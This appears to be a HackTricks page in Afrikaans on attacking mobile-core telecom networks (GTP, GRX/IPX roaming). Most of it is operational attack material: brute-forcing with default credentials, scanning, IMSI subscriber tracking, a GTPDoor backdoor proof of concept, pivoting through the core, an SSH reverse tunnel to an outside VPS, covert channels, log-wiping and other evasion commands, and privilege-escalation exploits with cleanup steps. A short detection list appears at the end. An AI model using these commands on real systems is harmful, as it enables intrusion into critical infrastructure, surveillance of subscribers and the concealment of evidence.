Telekom Netwerk Exploitatie (GTP / Roaming Omgewings)

Reading time: 6 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

note

Mobiele-kern protokolle (GPRS Tunneling Protocol – GTP) beweeg dikwels oor semi-vertroude GRX/IPX roaming rugsteun. Omdat hulle op gewone UDP loop met byna geen verifikasie nie, kan enige voetstuk binne 'n telekomperimeter gewoonlik direk toegang tot kern seinvlakke verkry. Die volgende notas versamel offensiewe truuks wat in die natuur teen SGSN/GGSN, PGW/SGW en ander EPC nodes waargeneem is.

1. Recon & Begin Toegang

1.1 Standaard OSS / NE Rekeninge

'n Verrassend groot stel verskaffer netwerk elemente word met hard-gecodeerde SSH/Telnet gebruikers soos root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … verskaf. 'n Toegewyde woordlys verhoog die sukses van brute-force aanslae dramaties:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

As die toestel slegs 'n bestuurs-VRF blootstel, draai eers deur 'n springgas (jump host) (sien afdeling «SGSN Emu Tunnel» hieronder).

1.2 Gasheer Ontdekking binne GRX/IPX

Meeste GRX-operateurs laat steeds ICMP echo oor die rugsteun toe. Kombineer masscan met die ingeboude gtpv1 UDP-probes om vinnig GTP-C luisteraars te karteer:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Opname van Subscribers – cordscan

Die volgende Go-instrument vervaardig GTP-C Create PDP Context Request pakkette en log die antwoorde. Elke antwoord onthul die huidige SGSN / MME wat die gevraagde IMSI bedien en, soms, die subscriber se besoekte PLMN.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Belangrike vlae:

  • --imsi Teiken abonnee IMSI
  • --oper Tuis / HNI (MCC+MNC)
  • -w Skryf rou pakkette na pcap

Belangrike konstantes binne die binêre kan gepatch word om skande te verbreed:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Kode-uitvoering oor GTP – GTPDoor

GTPDoor is 'n klein ELF-diens wat UDP 2123 bind en elke inkomende GTP-C-pakket ontleed. Wanneer die payload met 'n vooraf gedeelde etiket begin, word die oorblywende gedeeltes ontsleutel (AES-128-CBC) en uitgevoer via /bin/sh -c. Die stdout/stderr word binne Echo Response boodskappe uitgevoer sodat daar nooit 'n uitgaande sessie geskep word nie.

Minimale PoC-pakket (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detection:

  • enige gasheer wat ongebalanseerde Echo Versoeke na SGSN IP's stuur
  • GTP weergawe vlag op 1 gestel terwyl boodskap tipe = 1 (Echo) – afwyking van spesifikasie

4. Pivoting Deur die Kern

4.1 sgsnemu + SOCKS5

OsmoGGSN verskaf 'n SGSN-emulator wat in staat is om 'n PDP-konteks na 'n werklike GGSN/PGW te vestig. Sodra dit onderhandel is, ontvang Linux 'n nuwe tun0 koppelvlak wat bereikbaar is vanaf die roaming-peer.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Met behoorlike firewall hair-pinning, omseil hierdie tonnel slegs signalering VLANs en land jy direk in die data plane.

4.2 SSH Terugtonnel oor Poort 53

DNS is byna altyd oop in roaming infrastruktuur. Stel 'n interne SSH-diens bloot aan jou VPS wat luister op :53 en keer later terug van huis:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Kontroleer dat GatewayPorts yes op die VPS geaktiveer is.

5. Verborgen Kanale

KanaalVervoerDekoderingAantekeninge
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte sleutel + 14-byte stukke (XOR)suiwer passiewe luisteraar, geen uitgaande verkeer
DNS – NoDepDNSUDP 53XOR (sleutel = funnyAndHappy) gekodeer in A-record oktettekyk vir *.nodep sub-domein
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEmeng met wettige GTP-C geselskap

Alle implante implementeer wagte wat timestomp hul binaire en herlaai as dit gebroke is.

6. Verdediging Ontduiking Cheatsheet

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Bevoegdheidstoename op Erfenis NE

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Skoonmaakwenk:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Gereedskapkas

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – pasgemaakte gereedskap beskryf in vorige afdelings.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : liggewig SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversie / bates bridging

Opsporingsidees

  1. Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests opstel.
  2. Nie-standaard poorte (53, 80, 443) wat SSH handdrukke ontvang van interne IP's.
  3. Frekwente Echo Versoeke sonder ooreenstemmende Echo Antwoorde – kan GTPDoor bakens aandui.
  4. Hoë tempo van ICMP echo-antwoorde verkeer met groot, nie-nul identifiseerder/volgorde velde.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks